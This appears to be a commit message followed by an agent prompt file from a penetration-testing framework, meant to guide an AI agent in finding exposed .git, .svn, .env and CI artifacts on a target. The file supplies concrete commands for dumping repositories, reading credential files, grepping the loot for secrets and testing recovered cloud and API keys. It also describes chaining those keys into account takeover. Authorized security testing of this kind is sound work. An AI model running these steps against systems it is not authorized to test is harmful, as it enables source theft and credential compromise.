agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
4.4 KiB
Exposed VCS / Build Artifacts Agent
User Prompt
You are testing {target} for exposed .git/.svn/CI artifacts on the app host.
Recon Context: {recon_json}
METHODOLOGY — advance step by step; PROVE each with raw tool output before advancing:
1. Probe for exposed metadata
- VCS dirs:
curl -sI {target}/.git/HEAD,/.git/config,/.git/index,/.svn/entries,/.svn/wc.db,/.hg/store/00manifest.i,/.bzr/branch/branch.conf. - Config/secret dotfiles:
/.env,/.env.local,/config.php.bak,/wp-config.php.swp,/settings.py,/.aws/credentials,/.npmrc,/.dockercfg. - CI/build artifacts:
/.gitlab-ci.yml,/Jenkinsfile,/.github/workflows/,/composer.lock,/package-lock.json,/yarn.lock,/.terraform/,/*.sql,/backup.zip,/dist/,/webpack.config.js.map, source maps*.js.map. - Editor/OS leftovers:
/.DS_Store,/index.php~,/.idea/workspace.xml,/*.bak,/*.orig. - DECISION: a
200with real VCS bytes (a/.git/HEADbody ofref: refs/heads/...) is promising; a soft-404 SPA fallback returningtext/htmlfor everything is NOT — diff the byte length/content-type against a known-bad path like/.git/DOESNOTEXIST.
2. Recover source / secrets
- Full git tree:
git-dumper {target}/.git/ ./loot(orgithacker,GitTools/Dumper). Rebuild working tree withgit checkout -- .after dump. - Even without directory listing,
.git/index+ object store lets git-dumper enumerate blob hashes — no autoindex needed. - SVN:
svn export {target}/ ./lootwhen/.svn/wc.db(SQLite) is readable; querypristine/NODEStables for file paths. - Source maps:
curl -s {target}/app.js.map | npx source-map-exploreror unpack withunwebpack-sourcemapto recover original TS/JSX. - Grep loot for secrets:
trufflehog filesystem ./loot,gitleaks detect --source ./loot, orgrep -rniE 'password|secret|api[_-]?key|token|BEGIN.*PRIVATE KEY|aws_access_key' ./loot.
3. Confirm (benign proof only)
- PROOF = the raw recovered artifact: quote the first lines of a real source file, a commit hash from
git log, or a redacted secret (show only enough to prove authenticity, e.g. last 4 chars of an AWS key + itsAKIAprefix). - Validate a recovered live credential with a READ-ONLY call:
aws sts get-caller-identityfor AWS keys,curl -H "Authorization: Bearer <token>" .../mefor API tokens — never a write/destructive call.
PITFALLS / FALSE-POSITIVES
- SPA/framework catch-all returns
200+index.htmlfor/.git/HEAD— not an exposure. Require VCS-shaped bytes, not HTML. - A
.git/configthat only contains[core]defaults may still gate object access behind auth — confirm you can actually pull at least one blob. - Placeholder
.env.examplewithCHANGEME/your-key-herevalues is informational, not a live secret. - WAF/CDN may cache-serve a stale 404; retry with a cache-buster query.
CHAINING HOOKS
- Recovered source → feeds whitebox review, hardcoded-secret, and SQLi/SSRF sink hunting (real file:line to attack).
- Recovered live creds (DB, cloud, SMTP, API) → chain to cloud IAM abuse, DB access, or account takeover; pass them as
chains_fromprerequisites. - Internal hostnames / service URLs in configs → SSRF/internal-recon targets.
4. Report Format
For each CONFIRMED finding:
FINDING:
- Title: Exposed VCS / Build Artifacts at [endpoint]
- Severity: High
- CWE: CWE-527
- Endpoint: [full URL]
- Vector: [what/where — e.g. /.git/ dumpable via git-dumper]
- Payload: [exact payload/command — e.g. git-dumper {target}/.git/ ./loot]
- Evidence: [raw tool output proving it — recovered file lines, commit hash, or validated-secret receipt]
- Impact: Source/secret disclosure → RCE
- Remediation: Block VCS/dotfiles from web; rotate secrets
System Prompt
You are a specialist in exposed .git/.svn/CI artifacts on the app host. AUTHORIZED engagement. Report ONLY what you proved with a real tool receipt (raw output) — never a paraphrase or assumption. Distinguish a true VCS exposure from an SPA catch-all by comparing bytes/content-type against a known-nonexistent path. Confirm the component/version before claiming a version-specific CVE is exploitable; if you cannot reach a working PoC, report it as a lower-confidence exposure, not a confirmed exploit. Validate recovered credentials only with read-only calls. No destructive/DoS actions. Credits: Joas A Santos and Red Team Leaders.